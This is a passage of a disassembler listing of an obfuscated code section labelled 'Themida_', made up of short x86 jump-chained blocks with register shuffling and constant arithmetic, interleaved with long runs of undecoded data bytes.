		dd 15EF389h, 0D92159CBh, 83241C8Bh, 51E904C4h, 54000057h
		dd 4C18159h, 81000000h,	4C1h, 240C8700h, 6E72685Ch, 2C890000h
		dd 17FCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2E12:				; CODE XREF: Themida_:005975C3j
		mov	edi, 4
		jmp	loc_5995E2
; ---------------------------------------------------------------------------


loc_5A2E1C:				; CODE XREF: Themida_:0059E428j
		xor	ecx, 0CBB8E14Ch
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5976F0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6B35366h,	5B66DE28h, 34FFF028h, 24148B24h, 0E9E28952h
		dd 0FFFFB1BAh, 875AEFB8h, 7E0C15Eh, 0C148D0F7h,	0D0F706E8h
		dd 0D1955A05h, 0B9EA816Ah, 294ED754h, 0B9C281C2h, 584ED754h
		dd 637FE9h, 2E6C100h, 49C7EE81h, 0F6810FE7h, 3C8FD4E1h
		dd 0FFF0C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2E8D:				; CODE XREF: Themida_:005A7908j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A1220
; ---------------------------------------------------------------------------


loc_5A2E9B:				; CODE XREF: Themida_:005A6DBEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5AA71D
; ---------------------------------------------------------------------------


loc_5A2EB1:				; CODE XREF: Themida_:005A69BAj
		or	edi, 79F10C3Eh
		dec	edi
		sub	edi, 793750A0h
		jmp	loc_5A29F8
; ---------------------------------------------------------------------------
		db 87h
		dd 0F751240Ch, 87592414h, 4D5D240Ch, 4EC81h, 14890000h
		dd 17A9BA24h, 0D529441Dh, 7FCB685Ah, 41E90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2EEB:				; CODE XREF: Themida_:005A8A8Fj
		or	ebp, ecx
		jmp	loc_5A0C8B
; ---------------------------------------------------------------------------


loc_5A2EF2:				; CODE XREF: Themida_:005A32C1j
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	ecx, 68A0708Eh
		push	5C8Ah
		mov	[esp], ebx
		push	4490h
		mov	[esp], ebp
		jmp	loc_5A7B33
; ---------------------------------------------------------------------------


loc_5A2F13:				; CODE XREF: Themida_:0059A736j
		mov	[esp], ebx
		push	ebp
		jmp	loc_59A3F2
; ---------------------------------------------------------------------------
		dd 7951F905h, 10E95E17h, 83FFFF54h, 0C8904ECh, 46824h
		dd 0B6E90000h, 81000030h, 315157EDh, 8BE9290Bh,	0C483242Ch
		dd 0C3E98104h, 12A907Ch, 0C3C181F9h, 812A907Ch,	0C52E9CC1h
		dd 43696871h, 0B2E90000h, 53FFFFECh, 0EB8013B3h, 0CBF0E949h
		dd 0C15BFFFFh, 0F28108EAh, 0BC3C64h, 815AD301h,	4ECh, 243C8900h
		dd 2BA52h, 27E90000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2F8F:				; CODE XREF: Themida_:005A67A7j
		pop	ebx
		shr	ebx, 5
		not	ebx
		xor	ebx, 0C051F858h
		jmp	loc_5997BC
; ---------------------------------------------------------------------------
		dd 2C8BE829h, 0E0895024h, 405h,	4C08300h, 5C240487h, 0E9240487h
		dd 643Fh, 0F61E9ACh, 0E95B0000h, 0FFFF713Ch, 4EC81h, 54E90000h
		dd 8300000Dh, 896602ECh, 0D2682414h, 89000047h,	68662434h
		dd 5E661D55h, 7027E950h, 0F680FFFFh, 28502C0Ah,	1F4EE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2FFA:				; CODE XREF: Themida_:005A4D1Ej
		not	eax
		and	eax, 32597422h
		or	eax, 410E5A6Eh
		jmp	loc_59EAA8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF7DF5E9h, 4EB81FFh, 0E9000000h, 0FFFFD49Dh, 1C335D5Dh
		dd 241C3124h, 2B03E9h, 24348900h, 4BEh,	5EF00100h, 31240433h
		dd 4332404h, 24248B24h,	5DAA68h, 243C8900h, 319B68h, 48F5400h
		dd 4BE5624h, 1000000h, 5E042474h, 0E92434FFh, 4F67h, 6824248Bh
		dd 78E8h, 68241489h, 7D94600Bh,	0F7E2D15Ah, 4DE7E9DAh
		dd 1268FFFFh, 89000022h, 0EC832404h, 24348904h,	168h, 0F0895E00h
		dd 5E2434FFh, 0FF8F14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A309D:				; CODE XREF: Themida_:005993F8j
		mov	edi, [esp]
		add	esp, 4
		sub	edx, eax
		sub	edx, 4DF67197h
		jmp	loc_59CB40
; ---------------------------------------------------------------------------


loc_5A30B3:				; CODE XREF: Themida_:0059ACEFj
		mov	esp, [esp]
		jmp	loc_5979F9
; ---------------------------------------------------------------------------
		db 80h
		dd 0D1F6AEC1h, 8073C980h, 0CB30A9E9h, 0FF58FDE9h, 343A68FFh
		dd 2C890000h, 81E58924h, 4C5h, 536DE900h, 0B9BBFFFFh, 12FAAEEh
		dd 0C2015BD8h, 0E924048Bh, 0FFFF4030h, 0AF5815Dh, 893FF014h
		dd 242C8BEBh, 4C481h, 0DE010000h, 5B2434FFh, 27A668h, 24348900h
		dd 0C681E689h, 4, 0E904C683h, 21CBh, 0B7E5E956h, 5756FFFFh
		dd 1777E9h, 84E95600h, 5B00005Ah, 295EF301h, 31585BDAh
		dd 2434FFD0h, 0FFADC5E9h, 5FF901FFh, 7B2FBD55h,	0E94D7402h
		dd 0FFFFB5CEh
; ---------------------------------------------------------------------------


loc_5A3158:				; CODE XREF: Themida_:0059DD84j
		xor	eax, ecx
		jmp	loc_59906A
; ---------------------------------------------------------------------------
aS?w		db '\é?w',0
		dd 0CDE95E00h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A316B:				; CODE XREF: Themida_:005AA009j
		sub	esi, eax
		sub	esi, 73025945h
		sub	esi, 1B78105Bh
		mov	eax, [esp]
		jmp	loc_5A83C8
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 25E9E789h, 33FFFF7Dh, 248B240Ch, 4AFCE924h, 0FE01FFFFh
		dd 1220E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A319E:				; CODE XREF: Themida_:00598390j
		add	esp, 4
		push	esi
		push	4
		pop	esi
		jmp	loc_59EFF5
; ---------------------------------------------------------------------------


loc_5A31B0:				; CODE XREF: Themida_:005A8D41j
		xchg	edi, [esp]
		not	edi
		jmp	loc_59CD3F
; ---------------------------------------------------------------------------


loc_5A31BA:				; CODE XREF: Themida_:005A1C46j
		add	esp, 4
		jmp	loc_5A5AAA
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 0E9240C33h, 0FFFFD008h
; ---------------------------------------------------------------------------


loc_5A31D0:				; CODE XREF: Themida_:005A6138j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A9786
; ---------------------------------------------------------------------------
		align 4
		dd 5A0B2CF0h, 0C6208E04h, 0E924048Bh, 0FFFF360Ch, 0FF2C93E9h
		dd 4285CFFh, 89E99C24h,	0FEFFFF31h, 0F36EE9C7h,	0D629FFFFh
		dd 44DCE95Ah, 0EC830000h, 24148904h, 1245E9h, 4BD00h, 0E8010000h
		dd 4C0835Dh, 5C240487h,	0FF99BAE9h, 0A2405FFh, 348B7725h
		dd 4C48124h, 2D000000h,	28006611h, 8FE9D829h, 87FFFF76h
		dd 0E95750EEh, 38ADh, 57243489h, 0A1E9E789h, 81FFFFF1h
		dd 857303C3h, 8DEB815Fh, 1A9C877h, 0E9835BD9h, 80F5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3276:				; CODE XREF: Themida_:005A03D8j
		pop	edx
		mov	ebp, esi
		jmp	loc_5AB03E
; ---------------------------------------------------------------------------
		dd offset loc_423F67+1
		dw 8900h
		dd 268241Ch, 8B000000h,	0C481241Ch, 4, 2EDDC781h, 0DF016804h
		dd 2EDDEF81h, 0D7E96804h, 1FFFFBDh, 4E4AE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A32AE:				; CODE XREF: Themida_:0059A34Dj
		xor	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A2EF2
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0EC7542CDh, 89F98951h, 0FCBE9CEh, 59B80000h,	0E9134E54h
		dd 0FFFFEA86h, 0C3BE5650h, 0C115A041h, 0C9E902EEh, 8F000077h
		dd 248B2404h, 48F7E924h, 34FF0000h, 0C4815924h,	4, 6D2DE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A330A:				; CODE XREF: Themida_:005A46F0j
		mov	ebp, 4
		add	edi, 259038D1h
		add	edi, ebp
		sub	edi, 259038D1h
		mov	ebp, [esp]
		push	eax
		jmp	loc_59D549
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 3B1D19A8h, 4CB0E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3332:				; CODE XREF: Themida_:005A71C4j
		pop	eax
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	384h
		mov	[esp], eax
		mov	eax, 56E14C66h
		push	ecx
		push	edx
		push	56E14C62h
		jmp	loc_597E95
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2B32E924h, 0E689FFFFh, 4C681h, 0ACE90000h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3367:				; CODE XREF: Themida_:0059BCE5j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	2E03h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_597860
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 8Bh
		dd 89532414h, 4C381E3h,	0E9000000h, 0FFFFF81Ah,	39F0EA81h
		dd 0E281677Ah, 17215EE5h, 0E2C1DAF7h, 4F29E906h, 0E189FFFFh
		dd 2204B850h, 0D0F76773h, 4B652525h, 0D2DFE979h, 8F5BFFFFh
		dd 835C2404h, 1C8904ECh, 2474FF24h, 48F5B04h, 24248B24h
		dd 0FF6D9FE9h, 4C681FFh, 0E9000000h, 0FFFF8D62h
; ---------------------------------------------------------------------------


loc_5A33F0:				; CODE XREF: Themida_:005AA97Ej
		xor	ebp, 0BAAA5B72h
		add	edx, ebp
		pop	ebp
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A1EAE
; ---------------------------------------------------------------------------
		db 81h
		dd 4948CFEBh, 0B7CB8168h, 5747C11Fh, 78234EBFh,	7F3BE973h
		dd 0BF57FFFFh, 2D5463F8h, 7BB6EE81h, 0FE0145FCh, 7BB6C681h
		dd 5BE945FCh, 80FFFF6Ch, 0C728B4EFh, 0E9B4C780h, 6F52h
		dd 4BEh, 5EF00100h, 4BF57h, 0F8010000h,	2404875Fh, 2EA815Ch
		dd 87000000h, 248B2414h, 4896E924h, 2C330000h, 6290E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3476:				; CODE XREF: Themida_:00599EC2j
		push	ecx
		mov	ecx, 8B44713h
		mov	edi, ecx
		pop	ecx
		mov	ebp, 0DD488926h
		jmp	loc_5A81B6
; ---------------------------------------------------------------------------
		db 51h,	54h, 59h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 0C0F0B252h, 0E2C002EAh
		dd 0F6DAF605h, 4BC280DAh, 6CCBE951h, 0F7890000h, 5FFA895Eh
		dd 148BD509h, 4C48324h,	14F7554Dh, 2434FF24h, 0E789575Dh
		dd 4C781h, 0C7830000h, 243C8704h, 0FFED835Ch, 53E6E9h
		dd 0FFFB0100h, 815F2434h, 4C4h,	5AE95000h, 81FFFF2Dh, 8A74C7CFh
		dd 6EFC104h, 0D609C781h, 4DE9FEADh, 52FFFF63h, 4BAh, 5AD60100h
		dd 5C243487h, 2C3FC680h, 4F028BBh, 0C8005ABBh, 2EC81h
		dd 89660000h, 41B3241Ch, 0DEE9D800h, 8BFFFF84h,	85E92424h
		dd 56000059h, 9D125CBEh, 5EF2095Ch, 0E902E2C1h,	7F05h
; ---------------------------------------------------------------------------


loc_5A354C:				; CODE XREF: Themida_:005A0505j
		push	edx
		jmp	loc_5A1BE2
; ---------------------------------------------------------------------------


loc_5A3552:				; CODE XREF: Themida_:005A6D85j
		add	esi, 0A3672E5h
		add	esi, edx
		sub	esi, 0A3672E5h
		sub	esi, 63452C00h
		jmp	loc_5A6831
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EF8107E7h, 496B9C32h, 0FFE8EFE9h, 50D3F7FFh, 0F60E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3581:				; CODE XREF: Themida_:0059E7ABj
		add	ebp, 6BD70431h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, ebx
		jmp	loc_5A0EDD
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 5E6FCE81h, 0E6817C14h, 6A9621B8h, 6B38F681h,	0C6812512h
		dd 105093Bh, 2414F756h,	5EEC15Eh, 0FF8409E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A35BD:				; CODE XREF: Themida_:0059DE0Dj
		push	esi
		sub	esp, 4
		jmp	loc_5A2DD8
; ---------------------------------------------------------------------------


loc_5A35C9:				; CODE XREF: Themida_:005AA51Cj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4997657Ch
		add	ecx, 28114F3h
		jmp	loc_5964DD
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 14h
		dd 0FF53C95Ch, 9AE92434h, 59FFFF92h, 0E9241C87h, 0FFFF41F6h
; ---------------------------------------------------------------------------


loc_5A3608:				; CODE XREF: Themida_:0059B85Cj
		pop	esp
		jmp	loc_5AB1B6
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 8B24048Fh,	0C892424h, 286AE924h, 0C483FFFFh
		dd 0CDE98104h, 5078C05Ch, 2D09A6B8h, 0B8EDE975h, 0E955FFFFh
		dd 77E6h, 14B8F281h, 0CA810634h, 7A7769DAh, 1023E9h, 0E9D10100h
		dd 642Dh, 8D65A168h, 0B649E916h, 74FFFFFFh, 8F5F0424h
		dd 34E92404h, 5F000007h, 0A177E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3672:				; CODE XREF: Themida_:00599244j
		add	ebp, 4
		jmp	loc_5A5EC8
; ---------------------------------------------------------------------------


loc_5A367D:				; CODE XREF: Themida_:005A8D7Dj
		sub	[esp+4], ebx
		push	ecx
		push	edi
		mov	edi, 783E3AD8h
		inc	edi
		shr	edi, 1
		dec	edi
		shl	edi, 4
		push	edx
		mov	edx, 0AE267165h
		jmp	loc_5A51B1
; ---------------------------------------------------------------------------


loc_5A369A:				; CODE XREF: Themida_:005A6A9Dj
		pop	eax
		jmp	loc_5A75D8
; ---------------------------------------------------------------------------


loc_5A36A0:				; CODE XREF: Themida_:005AA5BFj
		push	edi
		mov	edi, 4
		jmp	loc_59606A
; ---------------------------------------------------------------------------


loc_5A36AB:				; CODE XREF: Themida_:0059A8FFj
		sub	esi, ebp
		sub	esi, 3C8A48C9h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5988B7
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 2F6B3081h, 0E9243C8Bh, 0FFFF4E80h, 1F1A68h, 24148900h
		dd 410668h, 24048900h, 0FFF872E9h, 5BDF01FFh, 5CFCC781h
		dd 148B7702h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FF386EE9h
		dd 0E9D7F6FFh, 0FFFFF68Fh, 7DEAC581h, 0D5011977h, 7DEAED81h
		dd 148B1977h, 4C48124h,	83000000h, 0C8904ECh, 4B946824h
		dd 23E94218h, 81FFFF29h, 4C4h, 0BBBB5300h, 81085B3Dh, 0CD18DAF3h
		dd 44CB8100h, 81587D5Fh, 0FB3B52CBh, 0C3814B37h, 24C2423Bh
		dd 7874EB81h, 0DF096F2Ah, 4EC815Bh, 89000000h, 56BD242Ch
		dd 0E941C950h, 43D3h
; ---------------------------------------------------------------------------


loc_5A3780:				; CODE XREF: Themida_:005A4E06j
		add	edx, 4
		add	edx, 4
		jmp	loc_5962A1
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 55E25759h, 7FFBBD55h, 0EE3177F6h, 66D8E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A37A2:				; CODE XREF: Themida_:0059C7C1j
		mov	ecx, 4FF70B68h
		jmp	loc_59E4FF
; ---------------------------------------------------------------------------
		dd 42Dh, 3DFAE900h, 248B0000h, 2507E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A37BE:				; CODE XREF: Themida_:005992F2j
		push	edi
		jmp	loc_59CDFA
; ---------------------------------------------------------------------------
		dd 6B08BE56h, 0AE960EFh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A37CF:				; CODE XREF: Themida_:00599D0Ej
		pop	esi
		jmp	loc_59A352
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 1Ch
		dd 4C48324h, 0CD44E956h, 875AFFFFh, 55E9242Ch, 5B000039h
		dd 3C8BFA89h, 4C48324h,	835AD501h, 0C8904ECh, 4EC8324h
		dd 0BD242C89h, 5FE01A38h, 0E01A3AB9h, 5DE9315Fh, 0E959CD01h
		dd 0FFFF6A1Fh, 0BF243C89h, 2C5D077Bh, 0FFD0FBE9h, 81C329FFh
		dd 0C24173EBh, 24048B30h, 104C483h, 0E0C381C3h,	8B1BA823h
		dd 0C4832404h, 4BF5704h, 1000000h, 1C335FFBh, 241C3124h
		dd 8B241C33h, 24D32424h, 262EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A385E:				; CODE XREF: Themida_:005A501Fj
		sub	ebx, eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A69D7
; ---------------------------------------------------------------------------


loc_5A386C:				; CODE XREF: Themida_:005A2184j
		mov	[esp], ecx
		mov	ecx, esp
		push	5FCAh
		mov	[esp], ebx
		mov	ebx, 715397Dh
		xor	ebx, 4BE309F4h
		jmp	loc_5A5030
; ---------------------------------------------------------------------------
		db 0B4h, 0C1h, 0C0h
		dd 0B25206E4h, 0E9CAFEA5h, 0FFFF3708h, 0B353F305h, 2A2EE925h
		dd 0C870000h, 6CB6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A38AA:				; CODE XREF: Themida_:005A7491j
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	edx, edx
		jmp	loc_59CEE4
; ---------------------------------------------------------------------------
		dw 0D701h
		dd 8124148Bh, 4C4h, 4C78100h, 87000000h, 0B7E9243Ch, 83FFFF8Ch
		dd 0D8E9FFEBh
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A38E7:				; CODE XREF: Themida_:0059713Dj
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_59EE38
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 26D77B2Dh
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		push	eax
		push	0E4Bh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 26D77B2Dh
		push	2758h
		mov	[esp], ebx
		jmp	loc_598EC5
; ---------------------------------------------------------------------------
		dd 9186E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A392E:				; CODE XREF: Themida_:0059AB52j
		mov	ebx, 90706DEh
		jmp	loc_5AAEC8
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	6624248Bh, 5224048Bh, 0A8685A54h
		dd 89000040h, 6855241Ch, 68560CBCh, 5C8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A395D:				; CODE XREF: Themida_:0059BA26j
		xor	eax, 771620AEh
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59E3DE
; ---------------------------------------------------------------------------


loc_5A3974:				; CODE XREF: Themida_:0059DC97j
		mov	ebx, esi
		pop	esi
		jmp	loc_59B487
; ---------------------------------------------------------------------------


loc_5A397C:				; CODE XREF: Themida_:0059ED6Fj
		mov	dl, bl
		pop	ebx
		mov	cl, dl
		pop	dx
		jmp	loc_59A78F
; ---------------------------------------------------------------------------
		dd 0DDBB5352h, 891D646Bh, 241C8BDAh, 4C481h, 0BA520000h
		dd 4AD3F8Bh, 0FFC2FBE9h, 0B8505EFFh, 4,	3358C301h, 1C31241Ch
		dd 241C3324h, 0FF4F9AE9h, 0C1C581FFh, 8144C915h, 550CB5C5h
		dd 53AE93Fh, 0F8B80000h, 2D084117h, 8D47C45Ch, 158C701h
		dd 9CEF81EFh, 817AF953h, 5074C0C7h, 65C7E92Fh, 3433FFFFh
		dd 24343124h, 8B243433h, 0C00B2424h, 0EE38840Fh, 0EC83FFFFh
		dd 4245E904h, 8F68FFFFh, 54000065h, 8124048Fh, 42404h
		dd 565D0000h, 0FFF30FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3A21:				; CODE XREF: Themida_:0059A412j
		xor	eax, 27CA58FFh
		jmp	loc_5AAE1C
; ---------------------------------------------------------------------------


loc_5A3A2B:				; CODE XREF: Themida_:005A3E8Aj
		xchg	ebp, esi
		jmp	loc_59EC03
; ---------------------------------------------------------------------------
aQZ8o7Ssv	db 'Q¹§8o7)ËésV',0
		db 0
; ---------------------------------------------------------------------------


loc_5A3A3F:				; CODE XREF: Themida_:005A17C4j
		mov	ebx, 7A5F749Ah
		sub	ebx, 135F4FAAh
		sub	ebx, 670024EEh
		jmp	loc_5A1FAB
; ---------------------------------------------------------------------------


loc_5A3A55:				; CODE XREF: Themida_:0059E640j
		pop	eax
		add	ebx, esi
		sub	ebx, 0F7B3322h
		pop	esi
		push	ebp
		jmp	loc_59E066
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 0FD0C7EEBh, 0B2C38178h, 6863F66Eh, 2CCh, 0BF243C89h
		dd 16C91C79h, 111CC381h, 0FB296595h, 144ABE56h,	0E6C14436h
		dd 0E9EED103h, 455Fh, 0E9241487h, 0FFFFEA73h, 24248B66h
		dd 0FF23E3E9h, 23DEE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3AAE:				; CODE XREF: Themida_:005AAD16j
		mov	ebx, 0B508374Eh
		xor	eax, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	esi, eax
		jmp	loc_5A5077
; ---------------------------------------------------------------------------
		dd 7F72D6B8h, 4B71E92Bh, 3FBEFFFFh, 813E0B07h, 27174AC6h
		dd 84F68156h, 810C0057h, 0F6FEDCEEh, 8BF0293Dh,	0C4812434h
		dd 4, 3105E801h, 5D5A3B4Ah, 667268h, 0C3DBE900h, 8166FFFFh
		dd 0E91AE1F3h, 5DE9h
; ---------------------------------------------------------------------------


loc_5A3B18:				; CODE XREF: Themida_:005A7546j
		add	edx, 6D337AF5h
		mov	esi, edx
		jmp	loc_598659
; ---------------------------------------------------------------------------
		db 68h,	3, 33h
		dd 24890000h, 24048124h, 4, 4BD555Eh, 0E9000000h, 0FFFF8845h
		dd 31E9D001h, 89FFFF3Ah, 0B050240Ch, 3010B1C5h,	0E9D6E9C1h
		dd 15DFFFFh, 4EC83CFh, 57241489h, 43315E68h, 98E95F44h
		dd 83FFFFEFh, 50E904C4h, 5A000074h, 19EAC281h, 0BE94A40h
		dd 81000032h, 0D74C20E9h, 487EE9AEh, 3C890000h,	83E78924h
		dd 0C8904ECh, 45BE5624h, 897D4C01h, 51535EF1h, 0C6FF3B9h
		dd 57E95661h, 59000050h, 9329CA05h, 53D8295Ah, 0ED0DBABBh
		dd 303E975h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3BBE:				; CODE XREF: Themida_:0059D15Dj
		mov	[esp], edx
		mov	edx, 3DEA7111h
		dec	edx
		jmp	loc_5A771E
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 248B2414h, 266DE924h
		dd 685F0000h, 1D4Ch, 0E9241489h, 0FFFF72E7h, 160F0ABBh
		dd 5BD92929h, 0FFDF86E9h, 2EE81FFh, 29189370h, 22E95EF2h
		dd 89FFFF41h, 0BBB241Ch, 81426F4Bh, 0E6494E3h, 0EBC14B7Ch
		dd 8FC38103h, 0E942413Ch, 0FFFFF633h, 0E9241C89h, 6375h
		dd 0E902C483h, 0FFFF8EEEh, 405E089h, 0E9000000h, 0FFFFC164h
		dd 0F97C4BB9h, 4256E93Fh, 5759FFFFh, 0C7815F54h, 4, 4EF81h
		dd 3C870000h, 3C895C24h, 2474FF24h, 48F5F04h, 0CD25C24h
		dd 11E99C24h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3C7B:				; CODE XREF: Themida_:0059F5C7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ebp
		push	edi
		mov	edi, 40262F3Dh
		sub	edi, 127C4725h
		jmp	loc_59A8EF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 515A2434h, 0C1815954h, 4, 0FF964DE9h, 385E68FFh, 35E90000h
		dd 81FFFFDFh, 4EBh, 74FF5300h, 8F5B0424h, 0C4E92404h, 29FFFF4Dh
		dd 0ECE959CFh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3CCF:				; CODE XREF: Themida_:0059F80Dj
		pop	ebx
		neg	edx
		or	edx, 7B195455h
		add	edx, 1EF7FC8Fh
		sub	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		jmp	loc_59CBAA
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 0E9h
		dd 0FFFF26DEh, 0CF31F931h, 0E902E7C1h, 0FFFF45B3h, 5A5AD301h
		dd 0FFB054E9h, 4C481FFh, 68000000h, 73D7h, 83240C89h, 48904ECh
		dd 4EC8124h, 89000000h,	25E92424h, 89FFFFEBh, 0B8502424h
		dd 4, 0FFD524E9h, 241C87FFh, 0F7DE875Ch, 0E9DE87D3h, 0FFFF50D9h
; ---------------------------------------------------------------------------


loc_5A3D44:				; CODE XREF: Themida_:005A8433j
		pop	ebx
		pop	edi
		jmp	loc_5A2B80
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0E92434FFh, 0FFFF8BBCh
; ---------------------------------------------------------------------------


loc_5A3D54:				; CODE XREF: Themida_:0059785Bj
		pop	edx
		sub	dword ptr [esp+8], 305B21A1h
		add	[esp+8], edi
		jmp	loc_5A45E6
; ---------------------------------------------------------------------------
		dw 5053h
		dd 0B4704768h, 0D0F75825h, 0B9511C2Dh, 758CE98Ah, 79680000h
		dd 89000057h, 0E950243Ch, 0FFFFB0D9h, 24048F5Bh, 0C89665Ch
		dd 131EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3D96:				; CODE XREF: Themida_:0059F9DBj
		pop	esp
		mov	[esp], edx
		jmp	loc_599D13
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E5E92424h, 81FFFF20h, 0E7B46EC1h, 59CD01BDh, 31242C33h
		dd 2C33242Ch, 0ACE95C24h, 5CFFFF58h, 89240C89h,	0BF5756E1h
		dd 2D5463F2h, 24048157h, 5E9C2135h, 4E4DE95Eh, 0C483FFFFh
		dd 8BC68904h, 0C4832404h, 26ED8104h, 57138652h,	1C6B68h
		dd 242C8900h, 0E2EBE56h, 74E92B41h, 89FFFFDEh, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 242C895Ch, 48F2E9h, 670A6800h
		dd 0B8E940EEh, 8BFFFFCEh, 8B662424h, 52552404h,	0B22E9h
		dd 0E1C68100h, 0E96E117Ah, 4DBFh
; ---------------------------------------------------------------------------


loc_5A3E3C:				; CODE XREF: Themida_:005AA2C2j
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	17C87E5Ah
		pop	edi
		push	ebx
		mov	ebx, 392E1E81h
		dec	ebx
		push	edx
		mov	edx, 3539EB9Ch
		jmp	loc_5AADBD
; ---------------------------------------------------------------------------


loc_5A3E6E:				; CODE XREF: Themida_:0059A2D0j
		push	51E1h
		mov	[esp], esi
		push	7857203Eh
		pop	esi
		sub	ecx, esi
		jmp	loc_59F2CD
; ---------------------------------------------------------------------------


loc_5A3E83:				; CODE XREF: Themida_:005A56C4j
		xchg	esi, [esp]
		xchg	ebp, esi
		not	ebp
		jmp	loc_5A3A2B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0
		dd offset dword_5BC968
		dd 24148900h, 0DBB95152h, 0E955A204h, 1D8h, 2C24248Bh
		dd 4F000EBh, 24148BEBh,	6804C483h, 4A22h, 2A2DE9h, 16E38100h
		dd 81309C05h, 0C304BBEBh, 2CEB8165h, 8150E540h,	70E9E1F3h
		dd 0E9D82923h, 7170h
; ---------------------------------------------------------------------------


loc_5A3EE0:				; CODE XREF: Themida_:0059DA39j
		shr	eax, 0Ch
